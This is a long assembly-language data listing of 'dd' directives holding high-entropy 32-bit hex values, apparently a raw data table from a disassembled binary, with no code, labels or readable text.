dd 0EE77BE76h, 83F62DBBh, 0DBA555F5h, 1F87F265h, 84F607BFh
dd 444B5641h, 0D8501CE8h, 0B06520A2h, 1E4090CDh, 0BEED6E93h
dd 90459F92h, 7E14A8EBh, 7B32DE8Ah, 0FE80917Fh, 8C4B8A1Ah
dd 8F5D1900h, 0D7083668h, 0D0B1A33h, 64C19F46h, 53987AA9h
dd 4B3239Bh, 9414B9F8h, 9EB00C69h, 995585A4h, 0A5F02356h
dd 91B312F4h, 9874E7EAh, 0EC11A3C9h, 0F2052625h, 830C1B36h
dd 0FFACA672h, 0E1572084h, 33C06D88h, 0C2E87071h, 78C843FDh
dd 0B3E2AA28h, 0AEA98535h, 4C112C83h, 4A759628h, 0F1043117h
dd 6AC15EA1h, 22872CA4h, 7BED6262h, 40C38385h, 51B1318Fh
dd 4C36E7BBh, 517B1F73h, 4F52801h, 645B4285h, 0A9A259A4h
dd 5A99CA49h, 0D3D8A806h, 3012F615h, 47318CAFh, 0A344B436h
dd 649B5833h, 5372166Fh, 63F6A071h, 233CAE9Dh, 8A84D696h
dd 0FE9AB87Fh, 2E25B735h, 0FCEEA754h, 3FE91456h, 549FC009h
dd 0E090B1FFh, 92FFE98Fh, 0BD916F80h, 0A59736D9h, 0A28008DAh
dd 3B95166Dh, 0CC5DDD06h, 2F91F4DCh, 223DAF0Bh, 0AD898DEFh
dd 67989470h, 7F2BEB34h, 0B6B40B5Bh, 5707128Fh, 29D8FA95h
dd 3D49F45Ah, 0D91C98EBh, 52B9DF22h, 0E2E520F1h, 0D06CE43Fh
dd 0CDA73A1Fh, 0F8E59BC9h, 0D85F5099h, 7045F461h, 0BD167872h
dd 95E40900h, 0E2323629h, 62DC32E2h, 32CAB302h, 1EED121Fh
dd 36B0E382h, 50651547h, 58422863h, 0C9CEC556h, 0D919971Fh
dd 25820A43h, 0FE28E8A7h, 9D2571AAh, 93640CCDh, 65B3E806h
dd 3271743Ch, 0BE27CE41h, 7C20E744h, 0B9D27824h, 0A8E17769h
dd 0B6967614h, 8C33B5E3h, 0E8B03D0h, 181040F7h, 0AE4DD477h
dd 1FD4D08Eh, 1E8B5CC1h, 0DFDE729h, 1068774Eh, 441D2263h
dd 0D16CF004h, 0E13F09F1h, 865802EEh, 7AAB7A24h, 38F591ECh
dd 6295AE62h, 0D688D833h, 0E3E129FFh, 71A5D0A3h, 1562EF41h
dd 83BA9A8Fh, 41755418h
dd 0F011151h, 6565CF44h, 420E32E5h, 0B2C56167h, 0D059BE9Ch
dd 0D432E8E6h, 2E247F0Ch, 9598AD0h, 3B3AE964h, 0F2B6FD1Bh
dd 0CF0DCD2Ch, 4B4596DFh, 0AE83BFECh, 0C850AD56h, 52A10401h
dd 736A1C47h, 9A2C42FFh, 26439C6Dh, 29E26B10h, 0B641FF3Fh
dd 0B196807Ah, 0CE8661B9h, 81036649h, 1080EF87h, 0E3EF6BA5h
dd 0C44FEDF8h, 0F8EBF10Ah, 40D2E972h, 0C112D7C2h, 944E57Dh
dd 0AB20D30h, 22B960AEh, 309E3C7Bh, 0FA59D616h, 0CA2C0742h
dd 0F09ADF53h, 0BABA0B9Ah, 0E2842F81h, 3A016FC2h, 859878D7h
dd 0ACEEB996h, 96B18E9h, 0B6034643h, 97F62EE3h, 0EE4EB43Ah
dd 0BDC34BD3h, 250683C6h, 0C357060h, 0B341B3C2h, 9F635A62h
dd 6E4248F3h, 0E22746B9h, 75B9C800h, 2A2A5956h, 0DF87DB56h
dd 870F8504h, 0BBFC2CD7h, 8CED4418h, 29665C05h, 0A1A1B8BAh
dd 12BDEDF6h, 29E8AFB8h, 0E670B7Eh, 4282FB56h, 0CD8512CFh
dd 552F9380h, 236298F6h, 24A179A2h, 8A391426h, 4FE9E776h
dd 1DDC4B3Ch, 0D32D46BCh, 9E682659h, 0CDF33729h, 6C9D6F82h
dd 4EA831E9h, 0FC00B9C5h, 1934FB4Eh, 3FDC8A51h, 0F98C6C6Fh
dd 663C6D94h, 886754F4h, 0BCC4312Ch, 0C6FF68E4h, 51CD98CFh
dd 0AF98EB1Eh, 125623BAh, 0D6212A01h, 0BA9BA861h, 946D3597h
dd 97BD6AABh, 0F9AE5B24h, 0BA203836h, 4164899Ch, 121D4D96h
dd 2446BDF0h, 1714550Ah, 0EEF95BD2h, 60FE7377h, 4C3B6FA2h
dd 6B8BD260h, 0C56B6748h, 7CB20407h, 0A98A6291h, 0B91CB9D7h
dd 0A7CDA04Ah, 0C148489Eh, 7499E073h, 10DCC027h, 99A48B71h
dd 2F40EA92h, 14B740B8h, 0AFA6DCB4h, 385B9DFDh, 5371F612h
dd 0C368DF0Dh, 352EC6ECh, 835DE0B6h, 0A7851BC3h, 371EEE7Bh
dd 444B0FB4h, 46CA0463h, 9E1EEFF7h, 14FF87AFh, 3BEE5D64h
dd 21C3BEDDh, 0DE2F55A5h, 9BB08EA2h, 0CD4AD6A1h, 0DA5AE119h
dd 5F15291Dh, 1E943C3Fh, 0A5A07124h, 4C7E68A1h, 20B31624h
dd 50FF5B9Ch, 280DFC2Dh, 266E3EA6h, 4427E415h, 75A9B3F4h
dd 880EE6B3h, 33D3D04Ah, 0E2AC9B28h, 0D769CA47h, 3DCACAFBh
dd 0AFD04A4Dh, 33934F2Dh, 413AF7B0h, 32D56D73h, 677AE7D4h
dd 0BD7C13BCh, 0D0083955h, 91FC7FA1h, 0AA4F680Eh, 1B7B6F32h
dd 39CD9868h, 905AE8E7h, 0E1531728h, 9D84023Dh, 1046F53Eh
dd 0F572986Ah, 2417A317h, 79784B45h, 0CB89E25Ch, 7449F445h
dd 0B0A0813Ah, 0DBB62C6Eh, 0FE4DEDD0h, 0F5FB9C30h, 2CDD94C9h
dd 0BAE71442h, 94EADA97h, 510AD94Ch, 1108E294h, 16CB1169h
dd 400EA670h, 1756C734h, 41E250D2h, 0ECF2051Ah, 699FD549h
dd 3B0EC02Ah, 4DA48FB9h, 0B8B0B8DEh, 4B1E34E6h, 90D06A00h
dd 0EC4AAFC9h, 78477B25h, 493699DFh, 1345A83Ah, 0D59BF6CEh
dd 705D46Ah, 8465D709h, 0E3AB3AE5h, 467A7Fh, 8B97A61Ah
dd 29A297EBh, 0C064EED1h, 0DEE805FBh, 94682234h, 0BE818B12h
dd 0CA07D541h, 0FA1D90DFh, 3814C9A5h, 9C1573ADh, 0FB9D3893h
dd 866CB85Fh, 0C37E60BBh, 0AB1A1D98h, 5134FF7h, 0D3573604h
dd 9F28F3ECh, 0FA7D47EFh, 317AE41h, 32242456h, 8F4F939h
dd 0FD3FA0FAh, 27139C98h, 0CC71FAD9h, 3C600C3h, 7E8B48A5h
dd 181B85CAh, 51054FD5h, 0C3528387h, 54BF4D70h, 0B041B3EFh
dd 0C55E21h, 0DBD830Ch, 999C5E63h, 80FDE6EFh, 0F1F30175h
dd 9B162EBBh, 0B0E87833h, 621CFEA8h, 336CB302h, 832B11B0h
dd 3BAD757Bh, 4A994169h, 15BBAB4Ah, 45CA7A3Fh, 0A796A992h
dd 72EA1FDDh, 0C6A82847h, 0FB8ACAFAh, 58ECCD12h, 0B08378Bh
dd 0A2E0885Ah, 5EF40A5Fh, 0C3122314h, 85311FFCh, 0C238881Fh
dd 8A0F0446h, 61F57C69h, 0BDC5D783h, 347A16A4h, 0A3D2E2FFh
dd 358BB8D1h, 330D122Fh, 3DF38CCAh, 392E8AA7h, 4FCE4C64h
dd 6E953B40h, 0C242487h, 0E3288C17h, 0B6DAE82Bh, 57A0551Ah
dd 0AA100E39h, 0DE58906Fh, 9ACF456Bh, 0F0367C39h, 957FCC24h
dd 0D3F710Eh, 3899F2E5h, 0ED32906Ch, 344FF65Bh, 0C125DF16h
dd 0A5CE06EAh, 0C7D15243h, 0E3CECF3Eh, 2EC8880h, 0F3FAF7E4h
dd 0EC96C869h, 0A426F668h, 86BE63D7h, 9C7C893Ch, 94F66BB9h
dd 8CC15FC9h, 24837EB9h, 0CF09EBD9h, 2631766Bh, 62F7B169h
dd 0DD2343C3h, 2469845h, 77191D63h, 4DE581D3h, 0EBDAB140h
dd 4610C82Bh, 0C470D6D9h, 462B0030h, 0FF74F16Ah, 8D1A061Fh
dd 6A910A36h, 0FC0D396Fh, 78A82CF8h, 11374A1Dh, 543B4293h
dd 8693BC0Bh, 0FC66DC86h, 68610ADFh, 0A97BF769h, 0B2E490A7h
dd 0C0AB736Ch, 7670306Fh, 0AA5B30D0h, 5396FAC0h, 7D847820h
dd 632C2CEAh, 0EC460A19h, 0D2A9E594h, 0BB146C9h, 0C23907BFh
dd 0E9BB8A06h, 6D7E8742h, 81377768h, 0D99116DCh, 9010A361h
dd 7792261Ch, 68FF8D8Fh, 5B793ADFh, 0E1AD487Eh, 7A4D767Fh
dd 80E9FF04h, 4BA48363h, 0B5C28F09h, 4DA6C9E3h, 25A0A59h
dd 68495024h, 932AF577h, 5D065CB0h, 82DF8716h, 0CE1EAACFh
dd 0CA97C77Eh, 978DAEEEh, 690A95BCh, 60890930h, 218309EDh
dd 0B30D8D3Eh, 9FE6AEE9h, 1449DFEAh, 5C95C0h, 2D69181Ah
dd 9BFFB245h, 97AD1FB9h, 417C270Dh, 0F88C819Eh, 0C910798Ch
dd 0D96CE49Ah, 0B9AB8F38h, 4E44365Bh, 98128939h, 9F48CC89h
dd 68D66129h, 0BC64C22h, 28E079F6h, 7ED1ED68h, 0DAA5D909h
dd 0A8DCBC2h, 7EAB518Fh, 9208958Ch, 51EE422Dh, 6CE180A9h
dd 8DF34785h, 0C69D0D19h, 0D7D701BAh, 5A025686h, 0D43D74BDh
dd 0E72E6A90h, 0BF883648h, 0D83D5238h, 0D8FD332Fh, 0F5467AA3h
dd 0AC48AC7Bh, 9A5057A7h, 2A0E15DEh, 0AD90A9B2h, 1F86D775h
dd 0FFEF6FFh, 8AD04F2Bh, 0B198C4B2h, 9D5E6FFFh, 0FBFDB22Ch
dd 0B3E8A171h, 7BCF4878h, 0D2863299h, 17AA548Dh, 0AB8D0D15h
dd 3C2F85FBh, 0AD8CBAEAh, 0F2E6F527h, 0F54A1E38h, 6169AFF2h
dd 0D0426E02h, 0EB1856EEh, 404CFAE4h, 96B3CA8Ah, 9368B674h
dd 0A4B46A4Fh, 0DBD4B7FAh, 6FAE53Bh, 545B2849h, 7D6D9130h
dd 0AC8B57A3h, 0E0E95C3h, 1684E9D2h, 9BA0CE8Dh, 0A26128DDh
dd 0D6B8FC3Bh, 4ABB9A6Eh, 0F43AED05h, 0C9008702h, 8481E3FAh
dd 0D5A95F5Fh, 29772B6Bh, 0A150044Eh, 7FFAB844h, 95090D51h
dd 615CF747h, 7F169C8h, 921C5CE0h, 5D2BA901h, 20D58645h
dd 4C2397B5h, 0FA626E5Bh, 64087D5Bh, 7BB57749h, 544A8204h
dd 0EF3AAD6Fh, 4874172Ah, 1076538Ch, 196BE2AAh, 0D0156A58h
dd 0B29893D2h, 8FB205F4h, 41E66DBEh, 0D8C9C351h, 0DCDDD693h
dd 6745D0ACh, 90DFF6E6h, 3920BDAAh, 0AB2A9626h, 53B09942h
dd 0D2ADD282h, 174B5F84h, 0C02D5E75h, 0CDD457D4h, 38EF46Eh
dd 0F2F8E751h, 407A6976h, 9404A88Dh, 89B476D9h, 0A824425Ah
dd 44737B74h, 9946E7A5h, 0A796688Dh, 0BE8FBB67h, 554798BCh
dd 0CC429034h, 0D543BC01h, 5013305h, 2E686AE3h, 0D7E4585Fh
dd 0F56B5FCEh, 0C388DF1h, 9343D7F5h, 7E4A765h, 619496AFh
dd 48B8D4E4h, 0FA721D9Dh, 3F2DB970h, 76D9D08Eh, 5A3C5AAh
dd 0F36BAB0Bh, 3F8C5983h, 7E2FBA5h, 36B047B5h, 0F6E09EE1h
dd 0B8174D0Dh, 0BDC6E94Fh, 0BB9BE660h, 1331C41Eh, 9463CFBAh
dd 657AB272h, 0DDF80E1Ah, 64DD0218h, 0EB570F59h, 535AE3D3h
dd 0D97FE494h, 778BE90Eh, 456FACE7h, 0EB113682h, 41789C26h
dd 1C4F324Ch, 0D016B7D1h, 51F993A8h, 365CD0B8h, 9A355F20h
dd 45EB9BD6h, 90A476E6h, 2370DB30h, 7B96FCh, 0FD8D0DDh
dd 0AA85C685h, 84755587h
dd 3158EFEh, 0D126BFBCh, 2D7692D7h, 990561E3h, 0C90D6839h
dd 0FFBDFFCCh, 1937337Bh, 3AAAF8Ah, 2548E0Dh, 0BCFC6EECh
dd 0DA959AB9h, 2803955Ah, 39FA40ABh, 5D274541h, 7CAF1BA3h
dd 2436D742h, 3C242F0Ah, 7191E277h, 53D4299Dh, 47862DAEh
dd 7380209Ah, 0DB6AB43Dh, 44D1B93Ah, 638D0947h, 0B24BA7D6h
dd 1F3E2F20h, 3B91958Fh, 2FBA96h, 7EB2D527h, 26B53A06h
dd 0D4AD1C6Ah, 0B6AB3E3Eh, 0BDE724F5h, 3BA4A6A2h, 0F9A5E5A7h
dd 0A81F8190h, 68D28325h, 0D30EBB74h, 850BE4DEh, 0B1193A61h
dd 0F32205DFh, 16BB364Fh, 5FA7F697h, 0AB3812B5h, 58F4E8BDh
dd 9C3A3DA7h, 0AD170C7Bh, 5FD47BD7h, 69CDC67Eh, 0E5036360h
dd 34E88DBDh, 2233E719h, 536DAD2Fh, 1AE1B9h, 3D841CB0h
dd 0E18AEECFh, 0BBED380Dh, 7D376B33h, 0F3A62CE9h, 6740C492h
dd 13176E0h, 7DF67156h, 130C2BC1h, 0DC4800Ah, 77D6DA90h
dd 2F750857h, 4751409Ah, 72B13F9Bh, 87DB04FAh, 94671F1Ch
dd 0C83EA44Fh, 97778C4Dh, 74F7C08Ah, 4E772F35h, 7CDDB0AAh
dd 0F9F955Fh, 0FA0592E8h, 0B71D7B30h, 26DDE364h, 4B533DFCh
dd 44FDEC2Fh, 0F790560Bh, 3FF8EDA9h, 0AC0F1DB1h, 0E438A15Bh
dd 4A4A21h, 725A8D58h, 0FADB626Ah, 841CCCECh, 2DFA025h
dd 43577B53h, 0C3399C2Eh, 18CC4DEh, 443A72E9h, 0C2E82E7Dh
dd 0CA672A89h, 774B8563h, 0F28C9F5h, 16A19C89h, 33598D6Fh
dd 0FE7C111Eh, 42C8E6E9h, 5A51F5EBh, 385FFA04h, 5832CEFDh
dd 5683A121h, 60C9B4FAh, 24BAE97Fh, 56E8A0B5h, 590B41Eh
dd 0A7EEF713h, 0F65B593Ah, 9D3FBAC1h, 60E635AFh, 85043CD3h
dd 0C66F560Dh, 6B6BADD6h, 0D4BE0B62h, 0BD93DF36h, 65969D58h
dd 10AC1DFDh, 4454C7FBh, 0B15A82Bh, 9D767A98h, 0DD338467h
dd 0A2080D8Ch, 0F37E839Fh, 0CF5D004Fh, 0C2D754E1h, 0ED3B02DCh
dd 7F71DEEEh, 57E80BDAh, 0EA92DE29h, 0F4BB6098h, 992C30FEh
dd 0CD963ED1h, 0AFB18D47h, 2A886022h, 70DF027h, 0CD541D79h
dd 5DF5C057h, 0E9A245D6h, 0A87DC022h, 7B95F949h, 7C0B4062h
dd 3D4CA774h, 5F901099h, 621AE801h, 0D385DBC3h, 0A1249F0Ch
dd 5542E731h, 4E07F6C0h, 3E90E95Fh, 0A8D451B0h, 0A5DD9092h
dd 0EDB94481h, 0F76D5E93h, 500D8CBBh, 19C1FDEBh, 0EF198D81h
dd 0F27D333Dh, 221290C5h, 8AE8A17Fh, 153A1A0Bh, 0BB50CCAh
dd 0B53D445Bh, 0EB75A8BFh, 9F2A7E49h, 0D8123778h, 5A2EAAC3h
dd 6EE789EAh, 0EF35FEFFh, 7BA1E86h, 0B2EAAF71h, 8DB29DF5h
dd 0F51BC098h, 775149C3h, 0BBAE6E95h, 1EE1D917h, 0AB8B1D97h
dd 0E5D41EEBh, 752B2C92h, 486BC0BBh, 0CD5BF0E7h, 0D6FC7298h
dd 0F156484Bh, 0E9C37436h, 0D4D7180Bh, 0D721E2CAh, 0C9F854A1h
dd 5B6588ECh, 0B88FA824h, 45D60398h, 3D21525Ch, 949A95B7h
dd 4C1A56CBh, 0AC568C87h, 8D8370BBh, 5EF8672Eh, 858D9EAEh
dd 0B07AAC11h, 0FA7A9796h, 0DAE765B4h, 36EECADEh, 0D09866A6h
dd 97374D31h, 0ABE1F78Bh, 0F5A62090h, 5440F149h, 6C2E4786h
dd 0E4301BC8h, 6CEBAD39h, 0D4F97689h, 0D00343Eh, 7BF3D6E3h
dd 0F81EE9D6h, 0A65BE922h, 72545D9Fh, 9E97F5FCh, 6B8B86B1h
dd 0D76328C6h, 352AEC0Eh, 0F0CBB5B5h, 0DE538800h, 24E8C30Fh
dd 0FF9CD1BFh, 2BE3896Bh, 3ECE42ABh, 0F0D4E144h, 2BC9A0EFh
dd 0C7500B0h, 6B6EBDADh, 0F8F7F15Dh, 6E6F48EAh, 8118413Ch
dd 32A1F2A1h, 64621F9Eh, 0C48564A6h, 0C4700B83h, 0A7E30B14h
dd 159C1948h, 6AA85443h, 4989D803h, 5C29BA64h, 0F07DBF13h
dd 87FF5A23h, 0AE4F3EEEh, 2691FEECh, 37EE6941h, 1CFAC3EBh
dd 8D538628h, 38CBB1Eh, 61F08516h, 0BCE78EDAh, 5B83B103h
dd 0AFDFDC78h, 80C442F6h, 0F05050C8h, 0EA67558Dh, 0AF99156Fh
dd 9206C368h, 0F3715549h, 2B8D90B9h, 0AB49A69Fh, 7443B417h
dd 2CFDE0D4h, 8E2B5DF6h, 99B7E561h, 9C03B2D9h, 1721FA34h
dd 0B8188F08h, 7E457112h, 5489075Dh, 9C12BCA5h, 0D1E9B94Fh
dd 0B5213B2Dh, 6A7B3BFBh, 0A8BEA903h, 4E10C07Fh, 0F5CEE886h
dd 0A6D3DBBBh, 6F01A11Fh, 0DAC57214h, 3C8FA4FEh, 0DE74B472h
dd 346C8A3h, 632D7A8Fh, 0B41F09E8h, 1B623060h, 0F4D763BDh
dd 0B156BBBAh, 3528A2EFh, 2FAFC19Bh, 18F479F9h, 0AD135A1Ah
dd 0E6DC17F4h, 5A775CA6h, 0EF91D7EBh, 533B989Ah, 0D121E389h
dd 6FB20386h, 95EA89Dh, 6EFE7987h, 0E0B8A4A2h, 0A9F6285Bh
dd 781336D9h, 244FD7B6h, 3C235A25h, 9FD310C6h, 185A92B1h
dd 542DA2E1h, 8A2FA7AEh, 7595DD27h, 0A454C76Dh, 0E5FD85CEh
dd 57D296EEh, 0E7387034h, 9BA61DDh, 253F1C0Ah, 903B4194h
dd 45E2BDD3h, 0D112B1C5h, 3DDD57EAh, 89B7C4E5h, 48411724h
dd 18DFBC7Bh, 0F97273B0h, 55335C9h, 0E0A0E153h, 0BE887231h
dd 0C3050283h, 6F910C0Ch, 0BB6D8105h, 0ADF524F3h, 46C5DC47h
dd 0A660DE68h, 7B7FAD30h, 452D532Eh, 0EB8264AFh, 70A269FCh
dd 0BBE33057h, 0BEC3C7B6h, 67798936h, 68E7BA6Bh, 59FA20h
dd 0FDCF93DEh, 2B450471h, 0E26C2768h, 0C466B6D0h, 0BCB29F7Dh
dd 0D0943834h, 0DC64DE2Eh, 8233D66Fh, 0C5CFB5E7h, 0FA750B52h
dd 0D2177F74h, 0F1B1A90Ch, 988D7C23h, 0E75420Ah, 511C5C04h
dd 7F5C01E0h, 0C4B6E15Ch, 0AE697D8Ch, 3B725035h, 2A39F1E6h
dd 0E083CFF9h, 0E7938928h, 0F69D632Bh, 0C83B24A2h, 0A11D291h
dd 856DEE6h, 0A38E1261h, 0B238656Fh, 191E1A74h, 0A1AF4BE3h
dd 0BE9CC0D7h, 0E20290Fh, 0EC66AB20h, 63925C1Dh, 9BBAE6D9h
dd 168EF9A3h, 0D81AC699h, 540B442Bh, 874A7527h, 0EE4FB16h
dd 55A55F4Eh, 0A563E968h, 0A0EF29DAh, 612D8984h, 0C5F74D86h
dd 0B15156E4h, 9F829ED0h, 333DE522h, 1823CE4Fh, 13A26D03h
dd 0E42FB16Fh, 39EDD60Ch, 91933F17h, 0E1D5BC7Eh, 85EA9A71h
dd 0B69F610Dh, 34CDBB8h, 1F2B3974h, 1389DB0Bh, 2C520DC3h
dd 0F553EF4Ah, 0F0FB91F4h, 0C558718h, 39F9C15Eh, 0F8821BD4h
dd 0B5557560h, 30DA853Ch, 0C214BCF9h, 76C8CCF0h, 1D3DC10Ah
dd 450EEB0Fh, 9F14D145h, 0B7B9E28Dh, 0E88E89EFh, 9EDEA8DBh
dd 0A64ACCA5h, 0D7886B22h, 0D59FA86Eh, 8BFCAE5Eh, 0E12A5605h
dd 514A681Ah, 0CFF63E91h, 7FCAB65h, 704293D6h, 3F9F5CDEh
dd 81B92947h, 95CEDE28h, 0F9E552A6h, 0B61D06D3h, 576C326Ah
dd 6D18BCC8h, 48761DF7h, 49C6F7CFh, 93BD7FE2h, 0A49A01F8h
dd 0ACE6AFBAh, 42D64254h, 2D71AB83h, 431D2FFDh, 0FE61C60Eh
dd 53A6A171h, 532F4ABEh, 87A95F7h, 0B9C4EAD1h, 377F81C6h
dd 8E4D215Bh, 0EB387C68h, 96B00EBAh, 0E4126668h, 3752CBABh
dd 7C8DCF0h, 0BAABC522h, 0C08D33A5h, 8B9E5F6Eh, 6A9160Ch
dd 0F1A518B5h, 934C5BA2h, 0E57EB412h, 1BD727A1h, 0F789B774h
dd 7AE9C71Ah, 2F774C1Bh, 1FC1E22Dh, 0EFCD028h, 8E870F93h
dd 0FCCE9F4Bh, 0C4990BEAh, 0FD1D6A79h, 0CA66347h, 958B6AD4h
dd 3DA2EE62h, 0C1C1939h, 0E954B438h, 0C1F47B92h, 0A1054326h
dd 7A44FC07h, 0E28BC3CFh, 0E433FE12h, 0D230A2EDh, 29B5E82Ch
dd 2FD12B6Ch, 28F3D14h, 68287320h, 0DA48D36h, 1227568Bh
dd 0F4ED85C4h, 0ABF1E2B9h, 10AC3738h, 217D98F5h, 0BDAC70E2h
dd 0B3D4286Eh, 86F4C4F2h, 0BC2E357Ah, 0C52B295Fh, 4D4B5F51h
dd 71C06386h, 8AA1C392h, 0B7FA02Eh, 0C3FBFF61h, 2D5416DFh
dd 0A0692704h, 0F4879778h, 97E63F99h, 3B1E1D4Eh, 0E40CA4F0h
dd 69068227h, 721D122Bh
dd 74EF4621h, 94A9760Ch, 18B92721h, 9EAF2213h, 460C5492h
dd 0F6922336h, 0BF4BE509h, 0F8614E78h, 96E3066Ch, 2FC98442h
dd 21E92F82h, 0F74308D8h, 42286B8Fh, 0DD813EA8h, 4B9BB63Bh
dd 38B46CF1h, 87D57629h, 59476C4Ah, 7707EC77h, 0DBA4A804h
dd 6331FC14h, 0A92376D9h, 5817C048h, 3B5D48A6h, 0D4661A19h
dd 127F72EDh, 7001BCECh, 0AADA29C9h, 7E8F76D0h, 6000CAE9h
dd 523C05EEh, 811F0434h, 0F2076579h, 0FD085274h, 57CF19BEh
dd 823E2043h, 0D1CAF587h, 29E571A9h, 22AF2387h, 2E0FB2E7h
dd 61ABD887h, 6E44C983h, 0FF2057E5h, 61884375h, 0B14F2D79h
dd 9925A48Ch, 5E9A60F7h, 73815AAAh, 58C18E02h, 0DE98AC03h
dd 0B7EFFEB9h, 0A3BDCC96h, 0F57AB563h, 8B377268h, 0B192EDDBh
dd 8024C64Eh, 0FD0107A6h, 12439190h, 0D539CF7h, 60BF576Ah
dd 619FEE76h, 96E4C9D8h, 0A3CD4F48h, 0DD262B66h, 34C3F002h
dd 0CBED83C0h, 91288472h, 909049C3h, 9B5D3C00h, 111065D4h
dd 60159EAh, 28CD11B2h, 0D7E2043Ch, 0A687C2BBh, 7D209B28h
dd 0F1D5EBC8h, 18F99A84h, 6EDDE730h, 0FEDE0968h, 357E18Ah
dd 0E60C8EECh, 0BBB3805Eh, 258B7BA2h, 0A3A82B3Eh, 2CB5580Dh
dd 0F0E01022h, 4B5CC260h, 1B4E19E6h, 0D933313Eh, 7F294CD6h
dd 6599C0A0h, 9AD112FAh, 8A5E9AFDh, 0B66B89D9h, 4FB0E86h
dd 0FF575411h, 59E8F56Dh, 0CC31FFC2h, 3E1C5B74h, 0ABCFAE05h
dd 1C14547Bh, 0B227D53Ah, 0D3380E39h, 0D8FC2979h, 99D472Ch
dd 92BD2A2Fh, 903B7080h, 0A27EF064h, 26F377ADh, 0F0EA94A6h
dd 868047A3h, 755F9999h, 0E99FD231h, 0F03E203Dh, 782BEA06h
dd 0E9D5DB80h, 6A795FB3h, 8F3A21DFh, 60B6DCBAh, 659EDC33h
dd 80C62DD6h, 83189B88h, 5F5DD06Eh, 7DCFCD1Ch, 0B631E703h
dd 23083EBFh, 0A05366A3h, 0ADE09411h, 3A22CF42h, 0B92E9DE3h
dd 716AB0ABh, 1813B40Ah, 0F36BCACCh, 7ACE9D4Fh, 0E12973C2h
dd 0FC79630Fh, 0AB1A2774h, 1ABC42E6h, 0E41B00D0h, 667C80BEh
dd 0C685333h, 6FFCD191h, 248400FEh, 2B250C5h, 0EF9A2816h
dd 5849193Ah, 79841C83h, 7C984B44h, 7D537B78h, 0A96E3F12h
dd 0F8BA6320h, 2DB78B8Eh, 0D1E83668h, 5C2060DFh, 0F3BAB4C0h
dd 860B2D7Bh, 0F74E0580h, 0A78A091Ah, 0FDCEC1D0h, 0F8DA73E1h
dd 26A85777h, 51E07E04h, 6B8BD83h, 19C45BBFh, 0E570FAFCh
dd 5C063D95h, 5B61CF7Ch, 4E9B7B1Dh, 0FE6DE676h, 3A9B81C3h
dd 0F786E2F5h, 5A6A1145h, 7DBE32EDh, 5478E88Eh, 0CB4A684h
dd 7A21FF83h, 1646BB43h, 73B437Dh, 6EEF1CFDh, 0E4C82093h
dd 8818C38Dh, 52A87785h, 3549D14Ah, 0D9BC01D8h, 0B298C000h
dd 93B75066h, 416EF0C7h, 4B0D4E06h, 7644B515h, 0E6D824FEh
dd 192B0A99h, 0F8605B5Eh, 92E6663Ch, 7F2E2400h, 0EE635DA5h
dd 0F544141Bh, 0BD24420Fh, 9F6A7438h, 23829451h, 4223BCA5h
dd 46B7BEE0h, 4A018417h, 0B88FD183h, 0E4973E03h, 50FE4AD6h
dd 184BE867h, 19F3BCDAh, 91C2FE84h, 0CE579C98h, 3B65349Fh
dd 37EAC6CCh, 22131D34h, 6F788C4Bh, 0EC11AB49h, 9F1E79D7h
dd 0ABBFFEA1h, 0C5A39290h, 0E9008077h, 874A5857h, 6C490DCAh
dd 5D8F040Fh, 56320F38h, 5F7F6C76h, 0A184D367h, 0AA16669Fh
dd 0BFC1DB49h, 8BF0385h, 870832C3h, 0CF005B03h, 0D5C35FCDh
dd 0E39B1577h, 2279754Eh, 8FE186A7h, 0B7D88985h, 4A398A78h
dd 0FA873FFBh, 0B098F383h, 0E873BAD7h, 0D7E31B51h, 0F44B4B3Eh
dd 0F643DBh, 28856707h, 9433CE80h, 0F03E2701h, 0FF882519h
dd 0A536C341h, 0E2F6E147h, 0E32C63E9h, 0E29CE6F0h, 1F63E3A9h
dd 0A23B79CCh, 11BCADBh, 827E8F2Dh, 0FC4918FEh, 5D30DB2Ah
dd 5F3F475Ch, 0D63310B5h, 17479D6Fh, 0CF202B19h, 228652B2h
dd 7F530513h, 744BA6E9h, 72A0D3E4h, 652D51C5h, 868F39EBh
dd 0E1727269h, 8DFFD4D8h, 0A910E44Ah, 0F3844B96h, 0DBC68209h
dd 372C26FEh, 82862A3h, 5C5D27Ch, 0F8990983h, 0A7041606h
dd 2D2A2403h, 7F820A92h, 3113E6A2h, 0C188B88Bh, 0AC851FD4h
dd 0D0DCF212h, 0AF732C59h, 0A7DA7154h, 0F969CA04h, 0CD79105Eh
dd 93439C1Fh, 2EBC766Fh, 9EB9C338h, 8F350FB3h, 8221D197h
dd 7A4B723Ch, 0EE44B552h, 50F0A7C8h, 3BA3457Eh, 9F72CECFh
dd 0C6499B04h, 7E68B58h, 4178FE09h, 2134385Ah, 9B51FD1Ah
dd 0E40DF590h, 8ACBDB1h, 0F6F71270h, 0DBD35585h, 5C6DEB0h
dd 42231E1h, 0A2799898h, 1C6C2A29h, 4441793h, 564268AEh
dd 902854A5h, 352C46h, 2EB10FEh, 446B06C4h, 232A47A7h
dd 0C5A929EEh, 0A86EEBD1h, 973D85D9h, 0F97C0446h, 0F141C1E9h
dd 0E698C9C9h, 3A34C71Dh, 4E536C0Fh, 3FDA9105h, 0CA581F39h
dd 0D760BD4Dh, 4E4A2EB2h, 0CEBB3104h, 6A48753Dh, 8951A24Fh
dd 0E8A90EDFh, 990F7140h, 0DAC750D4h, 38C1F246h, 9DC01F0Ch
dd 0E366E488h, 410B5C01h, 514715FDh, 57150CE0h, 65BA940Eh
dd 0CA062E28h, 0D5119919h, 0EC90C672h, 45B50B17h, 3F3E5151h
dd 0A3FB796Ch, 0CD8DDE89h, 70B93F7h, 0D110EF8Bh, 783F6BC2h
dd 6A09EEE1h, 0C40E01F3h, 0A7FAA5AAh, 93ED48h, 17183A93h
dd 47D7D8BAh, 0F005A281h, 55469BC6h, 0E1AC801Ch, 0F41707BFh
dd 0F0F2C80Fh, 710FC8D0h, 4551A48Bh, 827B77C4h, 3905645Ch
dd 130AEADDh, 4C754AC1h, 6CFC08Ch, 1C4AEFD5h, 0E5990577h
dd 2D4852A9h, 51202F38h, 0B2513806h, 764002C9h, 59F731C3h
dd 0FBC4F11h, 0A5AE3FA1h, 685B653Ah, 4E4A1031h, 2A50DC91h
dd 0D61757B4h, 83EA4681h, 5CE24052h, 0C6E863D6h, 0EBFEE538h
dd 8708106Dh, 7DCE1F07h, 6565F73Bh, 6A27B389h, 38761499h
dd 8412C218h, 0B8509589h, 53BFC773h, 1F7E1F8Fh, 8228702h
dd 84DA50FAh, 85C6FD78h, 0AB85BCD6h, 3828F910h, 97D06772h
dd 6AE0D7D3h, 28D26A3Ch, 3389F306h, 75C2846h, 4A38895h
